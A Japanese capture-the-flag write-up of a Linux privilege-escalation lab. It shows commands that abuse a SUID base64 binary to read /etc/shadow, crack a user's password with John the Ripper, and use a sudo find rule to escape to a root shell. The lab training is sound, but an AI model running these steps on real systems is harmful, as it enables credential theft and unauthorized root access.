Linux ip-10-10-59-229 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
[leonard@ip-10-10-59-229 home]$ cat /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="http://cern.ch/linux/"
BUG_REPORT_URL="http://cern.ch/linux/"
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
find
コマンドでflag1.txt
の場所を特定しようとしたが見つからなかった。おそらくユーザーleonard
にはアクセス権のないディレクトリにファイルが存在するためと思われる。
[leonard@ip-10-10-59-229 ~]$ find / -name flag1.txt 2>/dev/null
[leonard@ip-10-10-59-229 ~]$
ちなみにユーザーleonard
はsudo
を使えない。
[leonard@ip-10-10-59-229 ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for leonard:
Sorry, user leonard may not run sudo on ip-10-10-59-229.
何か手掛かりが見つからないかと思い、ユーザーleonard
の.bash_history
を覗いてみた。
[leonard@ip-10-10-59-229 ~]$ more .bash_history
ls
cd ..
exit
ls
cd çç
cd ..
ls
cd home/
ls
cd missy/
su missy
ls
cd ..
ls
cd rootflag/
ls
cat flag2.txt
su root
ls
cd rootflag/
su missy
上記より、以下のことが読み取れる。
/home/missy
へ移動し、ユーザーmissy
に切り替えようとしている。/home/rootflag
へ移動し、flag2.txt
というファイルを開こうとしている。
/home
以下にはleonard
のほかにmissy
とrootflag
というディレクトリがあった。
[leonard@ip-10-10-59-229 home]$ ls -la
total 4
drwxr-xr-x. 5 root root 50 Jun 7 2021 .
dr-xr-xr-x. 18 root root 235 Jun 7 2021 ..
drwx------. 7 leonard leonard 197 Jun 7 2021 leonard
drwx------. 16 missy missy 4096 Jun 7 2021 missy
drwx------. 2 root root 23 Jun 7 2021 rootflag
ディレクトリmissy
の所有者はmissy
で、ディレクトリrootflag
の所有者はroot
である。
ユーザーmissy
に切り替えることができれば、何か次の手掛かりが見つかるかもしれない。
試しにsu missy
でmissy
に切り替わろうとしたが、パスワードが分からなかったため失敗した。
まずはmissy
のパスワードを割り出す必要がある。そのためには/etc/passwd
と/etc/shadow
の中身を抽出してunshadow
し、John The Ripperでパスワードをクラックすれば良い。
/etc/passwd
はどのユーザーでも読み取り可能だが、/etc/shadow
はroot
ユーザーのみが読み取ることが出来る。
以下のコマンドで所有者がroot
で且つSUIDとGUIDがセットされたバイナリを列挙してみた。
find / -type f -perm -04000 -ls 2>/dev/null
[leonard@ip-10-10-59-229 ~]$ find / -type f -perm -04000 -ls 2>/dev/null
16779966 40 -rwsr-xr-x 1 root root 37360 Aug 20 2019 /usr/bin/base64
17298702 60 -rwsr-xr-x 1 root root 61320 Sep 30 2020 /usr/bin/ksu
17261777 32 -rwsr-xr-x 1 root root 32096 Oct 30 2018 /usr/bin/fusermount
17512336 28 -rwsr-xr-x 1 root root 27856 Apr 1 2020 /usr/bin/passwd
17698538 80 -rwsr-xr-x 1 root root 78408 Aug 9 2019 /usr/bin/gpasswd
17698537 76 -rwsr-xr-x 1 root root 73888 Aug 9 2019 /usr/bin/chage
17698541 44 -rwsr-xr-x 1 root root 41936 Aug 9 2019 /usr/bin/newgrp
17702679 208 ---s--x--- 1 root stapusr 212080 Oct 13 2020 /usr/bin/staprun
17743302 24 -rws--x--x 1 root root 23968 Sep 30 2020 /usr/bin/chfn
17743352 32 -rwsr-xr-x 1 root root 32128 Sep 30 2020 /usr/bin/su
17743305 24 -rws--x--x 1 root root 23880 Sep 30 2020 /usr/bin/chsh
17831141 2392 -rwsr-xr-x 1 root root 2447304 Apr 1 2020 /usr/bin/Xorg
17743338 44 -rwsr-xr-x 1 root root 44264 Sep 30 2020 /usr/bin/mount
17743356 32 -rwsr-xr-x 1 root root 31984 Sep 30 2020 /usr/bin/umount
17812176 60 -rwsr-xr-x 1 root root 57656 Aug 9 2019 /usr/bin/crontab
17787689 24 -rwsr-xr-x 1 root root 23576 Apr 1 2020 /usr/bin/pkexec
18382172 52 -rwsr-xr-x 1 root root 53048 Oct 30 2018 /usr/bin/at
20386935 144 ---s--x--x 1 root root 147336 Sep 30 2020 /usr/bin/sudo
34469385 12 -rwsr-xr-x 1 root root 11232 Apr 1 2020 /usr/sbin/pam_timestamp_check
34469387 36 -rwsr-xr-x 1 root root 36272 Apr 1 2020 /usr/sbin/unix_chkpwd
36070283 12 -rwsr-xr-x 1 root root 11296 Oct 13 2020 /usr/sbin/usernetctl
35710927 40 -rws--x--x 1 root root 40328 Aug 9 2019 /usr/sbin/userhelper
38394204 116 -rwsr-xr-x 1 root root 117432 Sep 30 2020 /usr/sbin/mount.nfs
958368 16 -rwsr-xr-x 1 root root 15432 Apr 1 2020 /usr/lib/polkit-1/polkit-agent-helper-1
37709347 12 -rwsr-xr-x 1 root root 11128 Oct 13 2020 /usr/libexec/kde4/kpac_dhcp_helper
51455908 60 -rwsr-x--- 1 root dbus 57936 Sep 30 2020 /usr/libexec/dbus-1/dbus-daemon-launch-helper
17836404 16 -rwsr-xr-x 1 root root 15448 Apr 1 2020 /usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper
18393221 16 -rwsr-xr-x 1 root root 15360 Oct 1 2020 /usr/libexec/qemu-bridge-helper
37203442 156 -rwsr-x--- 1 root sssd 157872 Oct 15 2020 /usr/libexec/sssd/krb5_child
37203771 84 -rwsr-x--- 1 root sssd 82448 Oct 15 2020 /usr/libexec/sssd/ldap_child
37209171 52 -rwsr-x--- 1 root sssd 49592 Oct 15 2020 /usr/libexec/sssd/selinux_child
37209165 28 -rwsr-x--- 1 root sssd 27792 Oct 15 2020 /usr/libexec/sssd/proxy_child
18270608 16 -rwsr-sr-x 1 abrt abrt 15344 Oct 1 2020 /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
18535928 56 -rwsr-xr-x 1 root root 53776 Mar 18 2020 /usr/libexec/flatpak-bwrap
上記より、base64
コマンドが目に留まった。GTFOBinsによるとbase64コマンドはファイルの読み出しに使えそうである。
以下のコマンドでroot
のみが読み取り可能な/etc/shadow
の中身を読み出すことが出来た。
base64 /etc/shadow | base64 -d
/etc/passwd
と/etc/shadow
の中身をそれぞれpasswd.txt
、shadow.txt
として保存し、unshadow
した。
unshadow passwd.txt shadow.txt > passwords.txt
rockyou.txt
を用いてJohn The Ripperでpasswords.txt
からパスワードをクラッキングした。
john passwords.txt --wordlist=rockyou.txt
$ john passwords.txt --wordlist=rockyou.txt
Loaded 3 password hashes with 3 different salts (crypt, generic crypt(3) [?/64])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1 (missy)
missy
のパスワードはPassword1
と判明した。
クラックしたパスワードを使って、ユーザーmissy
に切り替わることができた。
[leonard@ip-10-10-59-229 ~]$ su missy
Password:
[missy@ip-10-10-59-229 leonard]$ whoami
missy
[missy@ip-10-10-59-229 leonard]$ id
uid=1001(missy) gid=1001(missy) groups=1001(missy) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[missy@ip-10-10-59-229 ~]$ pwd
/home/missy
以下は/home/missy
の中身。
[missy@ip-10-10-59-229 ~]$ ls -la
total 40
drwx------. 16 missy missy 4096 Jun 7 2021 .
drwxr-xr-x. 5 root root 50 Jun 7 2021 ..
-rw-------. 1 missy missy 203 Jun 7 2021 .bash_history
-rw-r--r--. 1 missy missy 18 Apr 1 2020 .bash_logout
-rw-r--r--. 1 missy missy 193 Apr 1 2020 .bash_profile
-rw-r--r--. 1 missy missy 231 Apr 1 2020 .bashrc
drwxrwxr-x. 13 missy missy 270 Jun 7 2021 .cache
drwxrwxr-x. 15 missy missy 245 Jun 7 2021 .config
drwx------. 3 missy missy 25 Jun 7 2021 .dbus
drwxr-xr-x. 2 missy missy 6 Jun 7 2021 Desktop
drwxr-xr-x. 2 missy missy 23 Jun 7 2021 Documents
drwxr-xr-x. 2 missy missy 6 Jun 7 2021 Downloads
-rw-r--r--. 1 missy missy 334 Nov 27 2019 .emacs
-rw-------. 1 missy missy 16 Jun 7 2021 .esd_auth
-rw-------. 1 missy missy 310 Jun 7 2021 .ICEauthority
-rw-r--r--. 1 missy missy 172 Apr 1 2020 .kshrc
drwxrwxr-x. 3 missy missy 19 Jun 7 2021 .local
drwxr-xr-x. 4 missy missy 39 Jun 7 2021 .mozilla
drwxr-xr-x. 2 missy missy 6 Jun 7 2021 Music
drwxrwxr-x. 2 missy missy 6 Jun 7 2021 perl5
drwxr-xr-x. 2 missy missy 6 Jun 7 2021 Pictures
drwxr-xr-x. 2 missy missy 6 Jun 7 2021 Public
drwxr-xr-x. 2 missy missy 6 Jun 7 2021 Templates
drwxr-xr-x. 2 missy missy 6 Jun 7 2021 Videos
-rw-r--r--. 1 missy missy 658 Apr 7 2020 .zshrc
手掛かりを求めて、ユーザーmissy
の.bash_history
を覗いてみた。
[missy@ip-10-10-59-229 ~]$ more .bash_history
ls
cd missy/
ls
cd Do
cd Documents
ls
cat flag1.txt
su root
quit
sudo -l
find . -exec /bin/sh \; -quit
find -exec /bin/sh \; -quit
sudo find /home -exec /bin/bash \;
ls
cd leonard/
cd rootflag/
su root
上記より、以下のことが読み取れる。
/home/missy/Documents
へ移動し、flag1.txt
というファイルを開こうとしている。
/home/missy/Documents
にflag1.txt
を発見した。ファイルの所有者はmissy
である。
[missy@ip-10-10-59-229 ~]$ cd Documents/
[missy@ip-10-10-59-229 Documents]$ ls -la
total 8
drwxr-xr-x. 2 missy missy 23 Jun 7 2021 .
drwx------. 16 missy missy 4096 Jun 7 2021 ..
-rw-r--r--. 1 missy missy 19 Jun 7 2021 flag1.txt
あとはflag1.txt
を開くだけ。
cat /home/missy/Documents/flag1.txt
What is the content of the flag2.txt file?
ひとまず、ユーザーmissy
が sudo
を使えるか確認してみた。
[missy@ip-10-10-59-229 ~]$ sudo -l
Matching Defaults entries for missy on ip-10-10-59-229:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2
QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User missy may run the following commands on ip-10-10-59-229:
(ALL) NOPASSWD: /usr/bin/find
ユーザーmissy
はfind
コマンドをsudo
コマンドつきで実行できる模様。
find
コマンドをsudo
コマンドつきで実行して、flag2.txt
の保存先を探してみた。
[missy@ip-10-10-59-229 ~]$ sudo find / -name flag2.txt 2>/dev/null
/home/rootflag/flag2.txt
/home/rootflag
以下にflag2.txt
を発見した。
/home/rootflag
ディレクトリはroot
ユーザーのみがアクセス可能で、このままではflag2.txt
を読むことが出来ない。
drwx------. 2 root root 23 Jun 7 2021 rootflag
先の設問で、base64
コマンドがroot
の所有で且つSUIDがセットされていることが判明している。
以下のコマンドでflag2.txt
を読み出すことが出来た。
base64 /home/rootflag/flag2.txt | base64 -d